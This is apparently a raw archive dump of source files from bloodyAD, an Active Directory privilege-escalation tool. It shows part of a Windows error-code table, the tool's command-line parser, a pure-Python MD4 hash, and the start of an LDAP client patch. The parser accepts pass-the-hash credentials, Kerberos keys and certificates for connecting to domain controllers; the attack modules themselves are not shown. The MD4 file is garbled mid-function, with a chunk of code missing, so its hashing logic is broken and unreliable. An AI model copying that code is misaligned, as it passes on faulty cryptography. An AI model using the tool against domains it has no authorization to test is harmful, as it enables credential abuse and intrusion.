"code": "ERROR_SXS_DUPLICATE_CLSID", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest have the same COM server CLSIDs." ), }, 0x000036C8: { "code": "ERROR_SXS_DUPLICATE_IID", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest have proxies for the same COM interface IIDs." ), }, 0x000036C9: { "code": "ERROR_SXS_DUPLICATE_TLBID", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest have the same COM type library TLBIDs." ), }, 0x000036CA: { "code": "ERROR_SXS_DUPLICATE_PROGID", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest have the same COM ProgIDs." ), }, 0x000036CB: { "code": "ERROR_SXS_DUPLICATE_ASSEMBLY_NAME", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest are different versions of the same component, which" " is not permitted." ), }, 0x000036CC: { "code": "ERROR_SXS_FILE_HASH_MISMATCH", "message": ( "A component's file does not match the verification information present in" " the component manifest." ), }, 0x000036CD: { "code": "ERROR_SXS_POLICY_PARSE_ERROR", "message": "The policy manifest contains one or more syntax errors.", }, 0x000036CE: { "code": "ERROR_SXS_XML_E_MISSINGQUOTE", "message": ( "Manifest Parse Error: A string literal was expected, but no opening" " quotation mark was found." ), }, 0x000036CF: { "code": "ERROR_SXS_XML_E_COMMENTSYNTAX", "message": "Manifest Parse Error: Incorrect syntax was used in a comment.", }, 0x000036D0: { "code": "ERROR_SXS_XML_E_BADSTARTNAMECHAR", "message": "Manifest Parse Error: A name started with an invalid character.", }, 0x000036D1: { "code": "ERROR_SXS_XML_E_BADNAMECHAR", "message": "Manifest Parse Error: A name contained an invalid character.", }, 0x000036D2: { "code": "ERROR_SXS_XML_E_BADCHARINSTRING", "message": ( "Manifest Parse Error: A string literal contained an invalid character." ), }, 0x000036D3: { "code": "ERROR_SXS_XML_E_XMLDECLSYNTAX", "message": "Manifest Parse Error: Invalid syntax for an XML declaration.", }, 0x000036D4: { "code": "ERROR_SXS_XML_E_BADCHARDATA", "message": ( "Manifest Parse Error: An Invalid character was found in text content." ), }, 0x000036D5: { "code": "ERROR_SXS_XML_E_MISSINGWHITESPACE", "message": "Manifest Parse Error: Required white space was missing.", }, 0x000036D6: { "code": "ERROR_SXS_XML_E_EXPECTINGTAGEND", "message": ( "Manifest Parse Error: The angle bracket (>) character was expected." ), }, 0x000036D7: { "code": "ERROR_SXS_XML_E_MISSINGSEMICOLON", "message": "Manifest Parse Error: A semicolon (;) was expected.", }, 0x000036D8: { "code": "ERROR_SXS_XML_E_UNBALANCEDPAREN", "message": "Manifest Parse Error: Unbalanced parentheses.", }, 0x000036D9: { "code": "ERROR_SXS_XML_E_INTERNALERROR", "message": "Manifest Parse Error: Internal error.", }, 0x000036DA: { "code": "ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE", "message": "Manifest Parse Error: Whitespace is not allowed at this location.", }, 0x000036DB: { "code": "ERROR_SXS_XML_E_INCOMPLETE_ENCODING", "message": ( "Manifest Parse Error: End of file reached in invalid state for current" " encoding." ), }, 0x000036DC: { "code": "ERROR_SXS_XML_E_MISSING_PAREN", "message": "Manifest Parse Error: Missing parenthesis.", }, 0x000036DD: { "code": "ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE", "message": ( "Manifest Parse Error: A single (') or double (\") quotation mark is" " missing." ), }, 0x000036DE: { "code": "ERROR_SXS_XML_E_MULTIPLE_COLONS", "message": "Manifest Parse Error: Multiple colons are not allowed in a name.", }, 0x000036DF: { "code": "ERROR_SXS_XML_E_INVALID_DECIMAL", "message": "Manifest Parse Error: Invalid character for decimal digit.", }, 0x000036E0: { "code": "ERROR_SXS_XML_E_INVALID_HEXIDECIMAL", "message": "Manifest Parse Error: Invalid character for hexadecimal digit.", }, 0x000036E1: { "code": "ERROR_SXS_XML_E_INVALID_UNICODE", "message": ( "Manifest Parse Error: Invalid Unicode character value for this platform." ), }, 0x000036E2: { "code": "ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK", "message": "Manifest Parse Error: Expecting whitespace or question mark (?).", }, 0x000036E3: { "code": "ERROR_SXS_XML_E_UNEXPECTEDENDTAG", "message": "Manifest Parse Error: End tag was not expected at this location.", }, 0x000036E4: { "code": "ERROR_SXS_XML_E_UNCLOSEDTAG", "message": "Manifest Parse Error: The following tags were not closed: %1.", }, 0x000036E5: { "code": "ERROR_SXS_XML_E_DUPLICATEATTRIBUTE", "message": "Manifest Parse Error: Duplicate attribute.", }, 0x000036E6: { "code": "ERROR_SXS_XML_E_MULTIPLEROOTS", "message": ( "Manifest Parse Error: Only one top-level element is allowed in an XML" " document." ), }, 0x000036E7: { "code": "ERROR_SXS_XML_E_INVALIDATROOTLEVEL", "message": "Manifest Parse Error: Invalid at the top level of the document.", }, 0x000036E8: { "code": "ERROR_SXS_XML_E_BADXMLDECL", "message": "Manifest Parse Error: Invalid XML declaration.", }, 0x000036E9: { "code": "ERROR_SXS_XML_E_MISSINGROOT", "message": "Manifest Parse Error: XML document must have a top-level element.", }, 0x000036EA: { "code": "ERROR_SXS_XML_E_UNEXPECTEDEOF", "message": "Manifest Parse Error: Unexpected end of file.", }, 0x000036EB: { "code": "ERROR_SXS_XML_E_BADPEREFINSUBSET", "message": ( "Manifest Parse Error: Parameter entities cannot be used inside markup" " declarations in an internal subset." ), }, 0x000036EC: { "code": "ERROR_SXS_XML_E_UNCLOSEDSTARTTAG", "message": "Manifest Parse Error: Element was not closed.", }, 0x000036ED: { "code": "ERROR_SXS_XML_E_UNCLOSEDENDTAG", "message": ( "Manifest Parse Error: End element was missing the angle bracket (>)" " character." ), }, 0x000036EE: { "code": "ERROR_SXS_XML_E_UNCLOSEDSTRING", "message": "Manifest Parse Error: A string literal was not closed.", }, 0x000036EF: { "code": "ERROR_SXS_XML_E_UNCLOSEDCOMMENT", "message": "Manifest Parse Error: A comment was not closed.", }, 0x000036F0: { "code": "ERROR_SXS_XML_E_UNCLOSEDDECL", "message": "Manifest Parse Error: A declaration was not closed.", }, 0x000036F1: { "code": "ERROR_SXS_XML_E_UNCLOSEDCDATA", "message": "Manifest Parse Error: A CDATA section was not closed.", }, 0x000036F2: { "code": "ERROR_SXS_XML_E_RESERVEDNAMESPACE", "message": ( "Manifest Parse Error: The namespace prefix is not allowed to start with" ' the reserved string xml"."' ), }, 0x000036F3: { "code": "ERROR_SXS_XML_E_INVALIDENCODING", "message": ( "Manifest Parse Error: System does not support the specified encoding." ), }, 0x000036F4: { "code": "ERROR_SXS_XML_E_INVALIDSWITCH", "message": ( "Manifest Parse Error: Switch from current encoding to specified encoding" " not supported." ), }, 0x000036F5: { "code": "ERROR_SXS_XML_E_BADXMLCASE", "message": ( 'Manifest Parse Error: The name "xml" is reserved and must be lowercase.' ), }, 0x000036F6: { "code": "ERROR_SXS_XML_E_INVALID_STANDALONE", "message": ( 'Manifest Parse Error: The stand-alone attribute must have the value "yes"' ' or "no".' ), }, 0x000036F7: { "code": "ERROR_SXS_XML_E_UNEXPECTED_STANDALONE", "message": ( "Manifest Parse Error: The stand-alone attribute cannot be used in external" " entities." ), }, 0x000036F8: { "code": "ERROR_SXS_XML_E_INVALID_VERSION", "message": "Manifest Parse Error: Invalid version number.", }, 0x000036F9: { "code": "ERROR_SXS_XML_E_MISSINGEQUALS", "message": ( "Manifest Parse Error: Missing equal sign (=) between the attribute and the" " attribute value." ), }, 0x000036FA: { "code": "ERROR_SXS_PROTECTION_RECOVERY_FAILED", "message": ( "Assembly Protection Error: Unable to recover the specified assembly." ), }, 0x000036FB: { "code": "ERROR_SXS_PROTECTION_PUBLIC_KEY_OO_SHORT", "message": ( "Assembly Protection Error: The public key for an assembly was too short to" " be allowed." ), }, 0x000036FC: { "code": "ERROR_SXS_PROTECTION_CATALOG_NOT_VALID", "message": ( "Assembly Protection Error: The catalog for an assembly is not valid, or" " does not match the assembly's manifest." ), }, 0x000036FD: { "code": "ERROR_SXS_UNTRANSLATABLE_HRESULT", "message": ( "An HRESULT could not be translated to a corresponding Win32 error code." ), }, 0x000036FE: { "code": "ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING", "message": "Assembly Protection Error: The catalog for an assembly is missing.", }, 0x000036FF: { "code": "ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE", "message": ( "The supplied assembly identity is missing one or more attributes that must" " be present in this context." ), }, 0x00003700: { "code": "ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME", "message": ( "The supplied assembly identity has one or more attribute names that" " contain characters not permitted in XML names." ), }, 0x00003701: { "code": "ERROR_SXS_ASSEMBLY_MISSING", "message": "The referenced assembly could not be found.", }, 0x00003702: { "code": "ERROR_SXS_CORRUPT_ACTIVATION_STACK", "message": ( "The activation context activation stack for the running thread of" " execution is corrupt." ), }, 0x00003703: { "code": "ERROR_SXS_CORRUPTION", "message": ( "The application isolation metadata for this process or thread has become" " corrupt." ), }, 0x00003704: { "code": "ERROR_SXS_EARLY_DEACTIVATION", "message": ( "The activation context being deactivated is not the most recently" " activated one." ), }, 0x00003705: { "code": "ERROR_SXS_INVALID_DEACTIVATION", "message": ( "The activation context being deactivated is not active for the current" " thread of execution." ), }, 0x00003706: { "code": "ERROR_SXS_MULTIPLE_DEACTIVATION", "message": ( "The activation context being deactivated has already been deactivated." ), }, 0x00003707: { "code": "ERROR_SXS_PROCESS_TERMINATION_REQUESTED", "message": ( "A component used by the isolation facility has requested to terminate the" " process." ), }, 0x00003708: { "code": "ERROR_SXS_RELEASE_ACTIVATION_ONTEXT", "message": ( "A kernel mode component is releasing a reference on an activation context." ), }, 0x00003709: { "code": "ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY", "message": ( "The activation context of the system default assembly could not be" " generated." ), }, 0x0000370A: { "code": "ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE", "message": ( "The value of an attribute in an identity is not within the legal range." ), }, 0x0000370B: { "code": "ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME", "message": ( "The name of an attribute in an identity is not within the legal range." ), }, 0x0000370C: { "code": "ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE", "message": "An identity contains two definitions for the same attribute.", }, 0x0000370D: { "code": "ERROR_SXS_IDENTITY_PARSE_ERROR", "message": ( "The identity string is malformed. This might be due to a trailing comma," " more than two unnamed attributes, a missing attribute name, or a missing" " attribute value." ), }, 0x0000370E: { "code": "ERROR_MALFORMED_SUBSTITUTION_STRING", "message": ( "A string containing localized substitutable content was malformed. Either" " a dollar sign ($) was followed by something other than a left parenthesis" " or another dollar sign, or a substitution's right parenthesis was not" " found." ), }, 0x0000370F: { "code": "ERROR_SXS_INCORRECT_PUBLIC_KEY_OKEN", "message": ( "The public key token does not correspond to the public key specified." ), }, 0x00003710: { "code": "ERROR_UNMAPPED_SUBSTITUTION_STRING", "message": "A substitution string had no mapping.", }, 0x00003711: { "code": "ERROR_SXS_ASSEMBLY_NOT_LOCKED", "message": "The component must be locked before making the request.", }, 0x00003712: { "code": "ERROR_SXS_COMPONENT_STORE_CORRUPT", "message": "The component store has been corrupted.", }, 0x00003713: { "code": "ERROR_ADVANCED_INSTALLER_FAILED", "message": "An advanced installer failed during setup or servicing.", }, 0x00003714: { "code": "ERROR_XML_ENCODING_MISMATCH", "message": ( "The character encoding in the XML declaration did not match the encoding" " used in the document." ), }, 0x00003715: { "code": "ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT", "message": ( "The identities of the manifests are identical, but the contents are" " different." ), }, 0x00003716: { "code": "ERROR_SXS_IDENTITIES_DIFFERENT", "message": "The component identities are different.", }, 0x00003717: { "code": "ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT", "message": "The assembly is not a deployment.", }, 0x00003718: { "code": "ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY", "message": "The file is not a part of the assembly.", }, 0x00003719: { "code": "ERROR_SXS_MANIFEST_TOO_BIG", "message": "The size of the manifest exceeds the maximum allowed.", }, 0x0000371A: { "code": "ERROR_SXS_SETTING_NOT_REGISTERED", "message": "The setting is not registered.", }, 0x0000371B: { "code": "ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE", "message": "One or more required members of the transaction are not present.", }, 0x00003A98: { "code": "ERROR_EVT_INVALID_CHANNEL_PATH", "message": "The specified channel path is invalid.", }, 0x00003A99: { "code": "ERROR_EVT_INVALID_QUERY", "message": "The specified query is invalid.", }, 0x00003A9A: { "code": "ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND", "message": "The publisher metadata cannot be found in the resource.", }, 0x00003A9B: { "code": "ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND", "message": ( "The template for an event definition cannot be found in the resource" " (error = %1)." ), }, 0x00003A9C: { "code": "ERROR_EVT_INVALID_PUBLISHER_NAME", "message": "The specified publisher name is invalid.", }, 0x00003A9D: { "code": "ERROR_EVT_INVALID_EVENT_DATA", "message": ( "The event data raised by the publisher is not compatible with the event" " template definition in the publisher's manifest." ), }, 0x00003A9F: { "code": "ERROR_EVT_CHANNEL_NOT_FOUND", "message": ( "The specified channel could not be found. Check channel configuration." ), }, 0x00003AA0: { "code": "ERROR_EVT_MALFORMED_XML_TEXT", "message": ( "The specified XML text was not well-formed. See extended error for more" " details." ), }, 0x00003AA1: { "code": "ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL", "message": ( "The caller is trying to subscribe to a direct channel which is not" " allowed. The events for a direct channel go directly to a log file and" " cannot be subscribed to." ), }, 0x00003AA2: { "code": "ERROR_EVT_CONFIGURATION_ERROR", "message": "Configuration error.", }, 0x00003AA3: { "code": "ERROR_EVT_QUERY_RESULT_STALE", "message": ( "The query result is stale or invalid. This might be due to the log being" " cleared or rolling over after the query result was created. Users should" " handle this code by releasing the query result object and reissuing the" " query." ), }, 0x00003AA4: { "code": "ERROR_EVT_QUERY_RESULT_INVALID_POSITION", "message": "Query result is currently at an invalid position.", }, 0x00003AA5: { "code": "ERROR_EVT_NON_VALIDATING_MSXML", "message": "Registered Microsoft XML (MSXML) does not support validation.", }, 0x00003AA6: { "code": "ERROR_EVT_FILTER_ALREADYSCOPED", "message": ( "An expression can only be followed by a change-of-scope operation if it" " itself evaluates to a node set and is not already part of some other" " change-of-scope operation." ), }, 0x00003AA7: { "code": "ERROR_EVT_FILTER_NOTELTSET", "message": ( "Cannot perform a step operation from a term that does not represent an" " element set." ), }, 0x00003AA8: { "code": "ERROR_EVT_FILTER_INVARG", "message": ( "Left side arguments to binary operators must be either attributes, nodes," " or variables and right side arguments must be constants." ), }, 0x00003AA9: { "code": "ERROR_EVT_FILTER_INVTEST", "message": ( "A step operation must involve either a node test or, in the case of a" " predicate, an algebraic expression against which to test each node in the" " node set identified by the preceding node set can be evaluated." ), }, 0x00003AAA: { "code": "ERROR_EVT_FILTER_INVTYPE", "message": "This data type is currently unsupported.", }, 0x00003AAB: { "code": "ERROR_EVT_FILTER_PARSEERR", "message": "A syntax error occurred at position %1!d!", }, 0x00003AAC: { "code": "ERROR_EVT_FILTER_UNSUPPORTEDOP", "message": "This operator is unsupported by this implementation of the filter.", }, 0x00003AAD: { "code": "ERROR_EVT_FILTER_UNEXPECTEDTOKEN", "message": "The token encountered was unexpected.", }, 0x00003AAE: { "code": "ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL", "message": ( "The requested operation cannot be performed over an enabled direct" " channel. The channel must first be disabled before performing the" " requested operation." ), }, 0x00003AAF: { "code": "ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE", "message": ( "Channel property %1!s! contains an invalid value. The value has an invalid" " type, is outside the valid range, cannot be updated, or is not supported" " by this type of channel." ), }, 0x00003AB0: { "code": "ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE", "message": ( "Publisher property %1!s! contains an invalid value. The value has an" " invalid type, is outside the valid range, cannot be updated, or is not" " supported by this type of publisher." ), }, 0x00003AB1: { "code": "ERROR_EVT_CHANNEL_CANNOT_ACTIVATE", "message": "The channel fails to activate.", }, 0x00003AB2: { "code": "ERROR_EVT_FILTER_TOO_COMPLEX", "message": ( "The xpath expression exceeded supported complexity. Simplify it or split" " it into two or more simple expressions." ), }, 0x00003AB3: { "code": "ERROR_EVT_MESSAGE_NOT_FOUND", "message": ( "The message resource is present but the message is not found in the string" " or message table." ), }, 0x00003AB4: { "code": "ERROR_EVT_MESSAGE_ID_NOT_FOUND", "message": "The message ID for the desired message could not be found.", }, 0x00003AB5: { "code": "ERROR_EVT_UNRESOLVED_VALUE_INSERT", "message": ( "The substitution string for the insert index (%1) could not be found." ), }, 0x00003AB6: { "code": "ERROR_EVT_UNRESOLVED_PARAMETER_INSERT", "message": ( "The description string for the parameter reference (%1) could not be" " found." ), }, 0x00003AB7: { "code": "ERROR_EVT_MAX_INSERTS_REACHED", "message": "The maximum number of replacements has been reached.", }, 0x00003AB8: { "code": "ERROR_EVT_EVENT_DEFINITION_NOT_OUND", "message": "The event definition could not be found for the event ID (%1).", }, 0x00003AB9: { "code": "ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND", "message": ( "The locale-specific resource for the desired message is not present." ), }, 0x00003ABA: { "code": "ERROR_EVT_VERSION_TOO_OLD", "message": "The resource is too old to be compatible.", }, 0x00003ABB: { "code": "ERROR_EVT_VERSION_TOO_NEW", "message": "The resource is too new to be compatible.", }, 0x00003ABC: { "code": "ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY", "message": "The channel at index %1 of the query cannot be opened.", }, 0x00003ABD: { "code": "ERROR_EVT_PUBLISHER_DISABLED", "message": ( "The publisher has been disabled and its resource is not available. This" " usually occurs when the publisher is in the process of being uninstalled" " or upgraded." ), }, 0x00003AE8: { "code": "ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE", "message": "The subscription fails to activate.", }, 0x00003AE9: { "code": "ERROR_EC_LOG_DISABLED", "message": ( "The log of the subscription is in a disabled state and events cannot be" " forwarded to it. The log must first be enabled before the subscription" " can be activated." ), }, 0x00003AFC: { "code": "ERROR_MUI_FILE_NOT_FOUND", "message": ( "The resource loader failed to find the Multilingual User Interface (MUI)" " file." ), }, 0x00003AFD: { "code": "ERROR_MUI_INVALID_FILE", "message": ( "The resource loader failed to load the MUI file because the file failed to" " pass validation." ), }, 0x00003AFE: { "code": "ERROR_MUI_INVALID_RC_CONFIG", "message": ( "The release candidate (RC) manifest is corrupted with garbage data, is an" " unsupported version, or is missing a required item." ), }, 0x00003AFF: { "code": "ERROR_MUI_INVALID_LOCALE_NAME", "message": "The RC manifest has an invalid culture name.", }, 0x00003B00: { "code": "ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME", "message": "The RC Manifest has an invalid ultimate fallback name.", }, 0x00003B01: { "code": "ERROR_MUI_FILE_NOT_LOADED", "message": "The resource loader cache does not have a loaded MUI entry.", }, 0x00003B02: { "code": "ERROR_RESOURCE_ENUM_USER_STOP", "message": "The user stopped resource enumeration.", }, 0x00003B03: { "code": "ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED", "message": "User interface language installation failed.", }, 0x00003B04: { "code": "ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME", "message": "Locale installation failed.", }, 0x00003B60: { "code": "ERROR_MCA_INVALID_CAPABILITIES_STRING", "message": ( "The monitor returned a DDC/CI capabilities string that did not comply with" " the ACCESS.bus 3.0, DDC/CI 1.1, or MCCS 2 Revision 1 specification." ), }, 0x00003B61: { "code": "ERROR_MCA_INVALID_VCP_VERSION", "message": ( "The monitor's VCP version (0xDF) VCP code returned an invalid version" " value." ), }, 0x00003B62: { "code": "ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION", "message": ( "The monitor does not comply with the MCCS specification it claims to" " support." ), }, 0x00003B63: { "code": "ERROR_MCA_MCCS_VERSION_MISMATCH", "message": ( "The MCCS version in a monitor's mccs_ver capability does not match the" " MCCS version the monitor reports when the VCP version (0xDF) VCP code is" " used." ), }, 0x00003B64: { "code": "ERROR_MCA_UNSUPPORTED_MCCS_VERSION", "message": ( "The monitor configuration API works only with monitors that support the" " MCCS 1.0, MCCS 2.0, or MCCS 2.0 Revision 1 specifications." ), }, 0x00003B65: { "code": "ERROR_MCA_INTERNAL_ERROR", "message": "An internal monitor configuration API error occurred.", }, 0x00003B66: { "code": "ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED", "message": ( "The monitor returned an invalid monitor technology type. CRT, plasma, and" " LCD (TFT) are examples of monitor technology types. This error implies" " that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1" " specification." ), }, 0x00003B67: { "code": "ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE", "message": ( "The SetMonitorColorTemperature() caller passed a color temperature to it" " that the current monitor did not support. CRT, plasma, and LCD (TFT) are" " examples of monitor technology types. This error implies that the monitor" " violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification." ), }, 0x00003B92: { "code": "ERROR_AMBIGUOUS_SYSTEM_DEVICE", "message": ( "The requested system device cannot be identified due to multiple" " indistinguishable devices potentially matching the identification" " criteria." ), }, 0x00003BC3: { "code": "ERROR_SYSTEM_DEVICE_NOT_FOUND", "message": "The requested system device cannot be found.", }, } bloodyAD-2.1.7/bloodyAD/main.py000077500000000000000000000244451473321043600162300ustar00rootroot00000000000000#!/usr/bin/env python3 import bloodyAD.msldap_patch from bloodyAD import cli_modules, ConnectionHandler, exceptions import sys, argparse, types, logging # For dynamic argparse import inspect, pkgutil, importlib def main(): parser = argparse.ArgumentParser(description="AD Privesc Swiss Army Knife") parser.add_argument("-d", "--domain", help="Domain used for NTLM authentication") parser.add_argument( "-u", "--username", help="Username used for NTLM authentication" ) parser.add_argument( "-p", "--password", help=( "password or LMHASH:NTHASH for NTLM authentication, password or AES/RC4 key for kerberos, password for certificate" "(Do not specify to trigger integrated windows authentication)" ), ) parser.add_argument( "-k", "--kerberos", nargs="*", help=( "Enable Kerberos authentication. If '-p' is provided it will try to query a TGT with it. You can also provide a list of one or more optional keywords as '-k kdc=192.168.100.1 kdcc=192.168.150.1 realmc=foreign.realm.corp =/home/silver/Admin.ccache', being ccache, kirbi, keytab, pem or pfx, 'kdc' being the kerberos server for the keyfile provided and 'realmc' and 'kdcc' for cross realm (the realm of the '--host' provided)" ), ) parser.add_argument( "-f", "--format", help="Specify format for '--password' or '-k '", choices=["b64", "hex", "aes", "rc4", "default"], default="default", ) parser.add_argument( "-c", "--certificate", nargs="?", const="certstore", default="", help='Certificate authentication, e.g: "path/to/key:path/to/cert" (Use Windows Certstore with krb if left empty)', ) parser.add_argument( "-s", "--secure", help="Try to use LDAP over TLS aka LDAPS (default is LDAP)", action="store_true", default=False, ) parser.add_argument( "--host", help="Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)", ) parser.add_argument( "--dc-ip", help="IP of the DC (useful if you provided a --host which can't resolve)", ) parser.add_argument( "--dns", help="IP of the DNS to resolve AD names (useful for inter-domain functions)", ) parser.add_argument( "--gc", help="Connect to Global Catalog (GC)", action="store_true", default=False, ) parser.add_argument( "-v", "--verbose", help="Adjust output verbosity", choices=["QUIET", "INFO", "DEBUG"], default="INFO", ) subparsers = parser.add_subparsers(title="Commands") submodnames = [] # Iterates all submodules in module package and creates one parser per submodule for importer, submodname, ispkg in pkgutil.iter_modules(cli_modules.__path__): submodnames.append(submodname) subparser = subparsers.add_parser( submodname, help=f"[{submodname.upper()}] function category" ) subsubparsers = subparser.add_subparsers(title=f"{submodname} commands") submodule = importlib.import_module("." + submodname, cli_modules.__name__) for function_name, function in inspect.getmembers( submodule, inspect.isfunction ): function_doc, params_doc = doc_parser(inspect.getdoc(function)) # This formatter class prints default values subsubparser = subsubparsers.add_parser( function_name, help=function_doc, formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) # Gets function signature to extract parameters default values func_signature = inspect.signature(function) for param_name, param_value, param_doc in zip( function.__annotations__.keys(), function.__annotations__.values(), params_doc, ): parser_args = {} # Fetches help from param_doc, if param_name doesn't match # name in param_doc, raises exception try: param_doc = param_doc.split(f":param {param_name}: ")[1] except IndexError: print(f"[-] param_name '{param_name}' doesn't match '{param_doc}'") raise parser_args["help"] = param_doc # If parameter has a default value, then it will be an optional argument param_signature = func_signature.parameters.get(param_name) if param_signature.default is param_signature.empty: arg_name = param_name else: # If param with one letter only add just one dash if len(param_name) < 2: arg_name = f"-{param_name}" else: param_name = param_name.replace("_", "-") arg_name = f"--{param_name}" parser_args["default"] = param_signature.default # If param_type is not a string describing a type it's a literal with a restricted set of values if "Literal" in str(param_value): parser_args["choices"] = param_value.__args__ parser_args["type"] = type(param_value.__args__[0]) else: if param_value.__name__ == "bool": parser_args["action"] = "store_true" elif param_value.__name__ == "list": parser_args["action"] = "append" parser_args["type"] = str else: parser_args["type"] = param_value subsubparser.add_argument(arg_name, **parser_args) # If a function name is provided in cli, arg.func will exist with function as value subsubparser.set_defaults(func=function) # Preprocess the input arguments because nargs ? and * can capture subparsers commands if put at the end input_args = sys.argv[1:] # Identify where options stop and where commands start i = 0 for arg in input_args: if arg in submodnames: break i += 1 # Detect if nargs options are at the end of options and place them at the beginning # We try only the following keywords even if actually it can take --kerb etc if input_args and input_args[i - 1] in ["-k", "--kerberos", "-c", "--certificate"]: input_args = [input_args[i - 1]] + input_args[: i - 1] + input_args[i:] args = parser.parse_args(input_args) if "func" not in args: parser.print_help(sys.stderr) sys.exit(1) # Get the list of parameters to provide to the command param_names = args.func.__code__.co_varnames[1 : args.func.__code__.co_argcount] params = {param_name: vars(args)[param_name] for param_name in param_names} # Configure loggers # # Doesn't work when launching new threads in bloodyAD.ldap so we'll use propagate to false below # # Enable all children loggers in debug mode # logging.getLogger().setLevel(logging.DEBUG) # # Make the root logger quiet # # WARNING: operation below is not thread safe! # logging.getLogger().handlers = [] handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) formatter = logging.Formatter("%(message)s") handler.setFormatter(formatter) exceptions.LOG.addHandler(handler) exceptions.LOG.setLevel(getattr(logging, args.verbose)) exceptions.LOG.propagate = False # We show msldap logs only if debug is enabled # import msldap # if args.verbose == "DEBUG": # msldap.logger.handlers = [] # handler = logging.StreamHandler(sys.stdout) # handler.setLevel(logging.DEBUG) # formatter = logging.Formatter('[msldap] %(message)s') # handler.setFormatter(formatter) # msldap.logger.addHandler(handler) # msldap.logger.setLevel(logging.DEBUG) # msldap.logger.propagate = False # Launch the command conn = ConnectionHandler(args=args) try: output = args.func(conn, **params) # Prints output, will print it directly if it's not an iterable # Output is expected to be of type [{name:[members]},{...}...] # If it's not, will print it raw output_type = type(output) if not output or output_type == bool: return if output_type not in [list, dict, types.GeneratorType]: print("\n" + output) return for entry in output: print() for attr_name, attr_val in entry.items(): entry_str = print_entry(attr_name, attr_val) if not (entry_str is None or entry_str == ""): print(f"{attr_name}: {entry_str}") # Close the connection properly anyway finally: conn.closeLdap() # Gets unparsed doc and returns a tuple of two values # first is function description (starts at the beginning of the string and ends before two newlines) # second is a list of parameter descriptions # (other part of the string, one parameter description per line, starting with :param param_name:) def doc_parser(doc): doc_parsed = doc.splitlines() return doc_parsed[0], doc_parsed[2:] def print_entry(entryname, entry): if type(entry) in [list, set, types.GeneratorType]: i = 0 simple_entries = [] length = len(entry) i_str = "" for v in entry: if length > 1: i_str = f".{i}" entry_str = print_entry(f"{entryname}{i_str}", v) i += 1 if not (entry_str is None or entry_str == ""): simple_entries.append(entry_str) if simple_entries: print(f"{entryname}: {'; '.join([str(v) for v in simple_entries])}") elif type(entry) is dict: length = len(entry) k_str = "" for k in entry: if length > 1: k_str = f".{k}" entry_str = print_entry(f"{entryname}{k_str}", entry[k]) if not (entry_str is None or entry_str == ""): print(f"{entryname}.{k}: {entry_str}") else: return entry if __name__ == "__main__": main() bloodyAD-2.1.7/bloodyAD/md4.py000066400000000000000000000075561473321043600157710ustar00rootroot00000000000000# -*- coding: utf-8 -*- # # Copyright © 2019 James Seo (github.com/kangtastic). # # This file is released under the WTFPL, version 2 (wtfpl.net). # # md4.py: An implementation of the MD4 hash algorithm in pure Python 3. # # Description: Zounds! Yet another rendition of pseudocode from RFC1320! # Bonus points for the algorithm literally being from 1992. # # Usage: Why would anybody use this? This is self-rolled crypto, and # self-rolled *obsolete* crypto at that. DO NOT USE if you need # something "performant" or "secure". :P # # Anyway, from the command line: # # $ ./md4.py [messages] # # where [messages] are some strings to be hashed. # # In Python, use similarly to hashlib (not that it even has MD4): # # from .md4 import MD4 # # digest = MD4("BEES").hexdigest() # # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68" import struct class MD4: """An implementation of the MD4 hash algorithm.""" width = 32 mask = 0xFFFFFFFF # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] def __init__(self, msg=None): """:param ByteString msg: The message to be hashed.""" if msg is None: msg = b"" self.msg = msg # Pre-processing: Total length is a multiple of 512 bits. ml = len(msg) * 8 msg += b"\x80" msg += b"\x00" * (-(len(msg) + 8) % 64) msg += struct.pack("> (MD4.width - n) return lbits | rbits bloodyAD-2.1.7/bloodyAD/msldap_patch.py000066400000000000000000001125551473321043600177400ustar00rootroot00000000000000from msldap.client import MSLDAPClient from msldap import logger from typing import List, Tuple, Dict from msldap.commons.common import MSLDAPClientStatus from msldap.protocol.messages import Control async def clientPagedsearch( self, query: str, attributes: List[str], controls: List[Tuple[str, str, str]] = None, tree: str = None, search_scope: int = 2, raw: bool = False, ): """ Performs a paged search on the AD, using the filter and attributes as a normal query does. !The LDAP connection MUST be active before invoking this function! :param query: LDAP query filter :type query: str :param attributes: List of requested attributes :type attributes: List[str] :param controls: 